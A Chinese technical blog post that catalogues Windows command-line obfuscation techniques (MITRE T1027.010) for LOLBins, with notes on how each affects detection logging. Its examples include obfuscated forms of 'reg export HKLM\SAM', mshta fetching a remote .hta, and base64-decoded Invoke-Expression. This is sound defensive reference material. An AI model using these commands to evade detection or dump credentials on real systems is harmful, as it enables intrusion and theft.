Windows 命令行混淆手法总结

孙康

本文针对的是 T1027 子技术(Obfuscated Files or Information)的 T1027.010 子项(Command Obfuscation)。混淆技术主要用于防御规避,通过加密(字符串、可执行文件、负载)、编码(字符串、负载、命令行)、垃圾数据填充(二进制、代码)、隐藏(伪装、负载嵌入)等手段,增大恶意行为被发现或分析的难度,主要涉及脚本、代码、二进制、负载、命令行等方面。本文主要涉及的是 Windows 平台的命令行混淆检测。

本文主要涉及的是 Windows 平台命令行混淆技术,适用的可执行文件范围主要是 LOLBins,包括:addinutil、adfind、arp、aspnet_compiler、at、auditpol、bcdedit、bitsadmin、cacls、certreq、certutil、cipher、cmdkey、cmstp、csc、cscript、curl、dism、driverquery、expand、extrac32、findstr、fltmc、forfiles、fsutil、ftp、icacls、ipconfig、jsc、makecab、msbuild、msiexec、nbtstat、net(和 net1)、netsh、netstat、nltest、nslookup、ping、pnputil、powershell(和 pwsh)、procdump、psexec、query、reg、regedit、regsvr32、robocopy、route、rpcping、runas、sc、schtasks、secedit、takeown、tar、taskkill、tasklist、vaultcmd、vbc、w32tm、wevtutil、where、whoami、winget、wmic、wscript 和 xcopy 等。

Windows 命令行混淆工具推荐Invoke-ArgFuscatorInvoke-DOSfuscation,基于 Invoke-ArgFuscator 开源项目,作者还实现了在线混淆网站:ArgFuscator.net

开头提到混淆可以通过加密、编码、填充、隐藏等手段实现,命令行混淆技术主要通过编码、填充、替换、简化等手段实现。

编码

编码方式主要包括 base64、十进制、十六进制、XOR 等。编码后的命令运行前需要解码,所以实际采集到的命令行不会受影响。

示例:powershell -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('bmV0IHVzZXI=')) | Invoke-Expression"
说明:bmV0IHVzZXI=net userbase64 编码后的结果。
备注:PowerShell 创建 net 进程的命令行是"C:\WINDOWS\system32\net.exe" user,不会显示”bmV0IHVzZXI=”,不受编码影响。

填充

填充主要包括引号字符"、转义字符^、空格字符``、Unicode 字符等插入,其中转义字符^插入不会影响采集到的命令行。

双引号填充

示例:net u"sernet u""ser
说明:在命令中插入双引号,解析时会忽略插入的双引号。
备注:大多数可执行文件接受在任意位置插入双引号,只要参数的连续双引号数量不超过两个。另外如果是文件路径,则可以插入任意偶数数量的双引号,且不限制连续双引号的数量,如xcopy C:\Users\sunkang\"""""""Downloads"\test.hta "C:\Users\sunkang\My Documents"。PowerShell 会将命令中的双引号剔除,子进程命令行不会包含双引号,CMD 未做处理。
特别说明:双引号作为混淆字符,有以下优势:合法使用频率高所以不易检测、不会引起其后字符的转义、子进程可以持续传递。

单引号填充(不影响采集)

示例:net u'ser'
说明:单引号插入仅在 PowerShell 可正常解析,CMD 中无法运行,且单引号必须成对插入,且不能连续出现两个。
备注:PowerShell 自身会处理成对的单引号并将单引号去除,所以单引号不会反映到子进程命令行中,不影响采集。

转义字符填充(不影响采集)

示例:net u^s^e^r
说明:转义字符填充后的命令在 CMD 中可正常执行,PowerShell 不支持。CMD 不支持连续填充转义字符,如net use^^r无法运行。
备注:插入的转义字符不会影响命令行采集,该符号会被直接忽略。转义字符后一般会跟&|><,使其被解析为普通字符,如果本身转义字符后的就是普通字符,则会忽略转义字符。

空格字符填充

示例:net user
说明:空格字符可以连续插入,由于 Markdown 渲染,这里插入的多个空格仅显示为了一个。
备注:空格字符填充在 CMD 和 PowerShell 中均生效,不过 PowerShell 中插入的空格不会传递到子进程中,和没有插入空格的效果一致,而 CMD 中的空格会影响直接影响子进程命令行。

圆括号填充

示例:(cmd /c echo Hello) & (cmd /c echo World)替换cmd /c echo Hello^ World
说明:圆括号可以使得相邻命令分开执行而不会互相影响,以增加命令的复杂性。
备注:圆括号的使用虽然可能影响检测效果,但其目的不一定是混淆。

逗号和分号填充

示例:cmd /c ",;netstat -ano"替换cmd /c netstat -ano
说明:逗号分号基本可以互换使用,一定程度上起到分隔符的功能。
备注:逗号分号填充位置比较局限,比如上面的命令改为cmd /c "netstat,; -ano"则无法执行。

数字填充

示例:net1 user替代net user
说明:这里可以替代的原因是执行 net 命令,最终会拉起 net1 进程,所以可以绕过 net 拉起 net1 进程的事件,直接拉起 net1,
备注:该方法限制很大,目前仅发现 net 命令支持,这要求规则开发人员特殊处理该命令。

Unicode 字符填充

示例:reg e჊⮱⑐xჇ୊p⹶Ԥ⿾ort⶯ HKLM\SAM out.reg替代reg export HKLM\SAM out.reg
说明:在命令中插入不可打印或无效字符,增加命令的复杂性。
备注:Windows 上可执行文件可能会删除不可打印字符或忽略某些字符,比如表情符、图形符号、希腊字母等。Unicode 字符填充在 CMD 和 PowerShell 中均可生效。有些非打印字符会影响显示效果,如U+202E字符,会导致其后的字符反序显示,如reg export[U+202E] HKLM\SAM out.reg会显示为reg exportger.tuo MAS\MLKH,但不影响命令执行。U+200B零宽字符插入后会导致命令行无法有效执行。

命令填充(不影响采集)

示例:cmd /c "set x=c@alc & echo %x:@=% | cmd"替代cmd /c calc
说明:c@alc中插入了@符号,而后面通过%x:@=%@符号替换为了空,后面将echo的输出传递给cmd,最终拉起calc。首先会拉起 CMD 进程 A,A 的命令行为cmd /c "set x=c@alc & echo %x:@=% | cmd",然后 A 进程会拉起 CMD 进程 B(命令行为C:\WINDOWS\system32\cmd.exe /S /D /c" echo %x:@=% "),B 用于执行 echo 命令。然后 A 进程再拉起 CMD 进程 C(命令行为cmd),C 用于拉起 calc 进程(命令行为calc)。
备注:命令的本质是通过 CMD 拉起计算器应用,其他命令只是为了复杂化以便掩盖命令的真实意图。原始的进程创建事件不会受填充影响,子进程的命令行还是会还原真实意图,比如这里计算器进程的命令行还是会显示calc

字符串拼接

示例:powershell -Command "curl ('http://' + 'jsonplace' + 'holder.typicode.com/posts/1')"
说明:将命令分割成多个部分,通过拼接的方式构建完整命令,增加检测难度,拼接中间的空格可有可没有。
备注:该方式的使用限制比较大,一般用于本身就是引号包含的字符串中,且可能必须由括号封装。经过测试,PowerShell 支持命令拼接,CMD 不支持,这里没有拉起 curl 进程,而是运行的内置命令Invoke-WebRequest,curl 本身不支持拼接语法。

路径转换

示例:mshta C:\\.\Users/debug\..\debug\\\..//sunkang\\compile/..//Downloads\\test.htamshta http://10.36.128.6:8090/temp/../test.hta
说明:插入上级、同级目录的跳转符号,以便隐藏要访问的真实文件/目录,适用文件路径和 URL 路径。

替换

选项字符替换

示例:taskkill -f -im Calculator.exe替代taskkill /f /im Calculator.exe
说明:将斜杠替换为短横线,字符集为-﹣/
备注:选项字符是用于命令行选项前缀的字符。在 Windows 中,通常是正斜杠(/),而在类 Unix 系统中,主要使用连字符(-)。但为了便于用户使用,程序可能设计为同时接受多种选项字符。

Unicode 字符替换

示例:reg eˣport HKLM\SAM out.reg
说明:使用 Unicode 相似的上标字符替代原字符,字符集为:ᵃ ᵇ ᶜ ᵈ ᵉ ᶠ ᵍ ʰ ʲ ᵏ ˡ ᵐ ⁿ ᵒ ᵖ ʳ ˢ ᵗ ᵘ ⱽ ᵛ ʷ ˣ ʸ ᶻ
备注:Windows 上的向前兼容导致程序会将特定字符转换为等效字符以实现同义命令行。

大小写字符替换

示例:Net UseR
说明:Windows 大小写不敏感,可以随机组合大小写,大小写组合不仅可以出现在命令行参数中,也可出现在可执行文件名称中。
备注:在 PowerShell 执行命令时,PowerShell 的进程创建事件会将命令行中的可执行文件名称替换为全路径,所以名称中的大小写不会反映到子进程命令行中,而 CMD 执行命令不会做全路径替换,所以可执行文件名称中的大小写变化会反映到子进程的命令行中,如这里 net 进程的命令行便是Net UseR

URL 符号替换

示例:mshta http:\\10.36.128.6:8090\test.hta替代mshta http://10.36.128.6:8090/test.hta
说明:将 URL 中的斜杠替换为反斜杠也能表示有效的地址。
备注:curlwget命令不支持http:\\的写法。

数值转换

示例:ping 2130706433或者ping 0x7F000001替代ping 127.0.0.1
说明:使用十进制或其他形式替代标准 IP 地址。
备注:经过验证,tracertcurlmshta也可以使用数值转换替换原 IP 地址实现混淆,暂时没发现除 IP 地址之外使用值转换的例子。

环境变量替换(不影响采集)

示例:%COMSPEC% /c echo Hello替代cmd /c echo Hello
说明:COMSPEC是系统环境变量,值为C:\WINDOWS\system32\cmd.exe。此外,用户可以将命令中的部分指令设置到环境变量中,然后通过环境变量调用命令。
备注:环境变量替换不会影响子进程的命令行,在拉起子进程时环境变量会被替换为设置值。

简写

命令参数简化

示例:cmdkey /l替代cmdkey /list
说明:将命令中的某些参数改写为简化形式,依旧可以有效运行,简写形式可以在命令的帮助页面查看。
备注:可执行文件允许对原本冗长的命令行选项进行简写,使其更易于输入。不过特别的是,PowerShell 对许多关键字允许省略关键字末尾的一个或多个字符,例如powershell /encodedcommand …中的encodedcommand可以从末尾开始随意省略任意长度的字符直到只剩下一个字符e,甚至还能简化为ec

可执行文件名称简化

示例:pwsh -Command "Get-Date"替代powershell -Command "Get-Date"
说明:这其实不属于简化,因为 pwsh 拉起的是 PowerShell 7,而 powershell 拉起的是 Windows 系统自带的 PowerShell,但对于命令执行而言并无结果上的不同。

这里将命令行混淆的手法总结为编码、填充、替换、简写四类,其中常用的是填充和替换。以上手法可以组合使用以便增大理解难度,比如命令MshTa "http:\\0xa248006:8090/temp/../test.hta"组合使用了大小写字符替换、引号插入、URL 符号替换、数值转换和路径转换手法,而且这些手法将原封不动地反映到子进程的命令行中。

  • Title: Windows 命令行混淆手法总结
  • Author: 孙康
  • Created at : 2025-07-27 12:00:00
  • Updated at : 2025-08-29 17:21:43
  • Link: https://conradsun.github.io/2025/0760b05398.html
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Windows 命令行混淆手法总结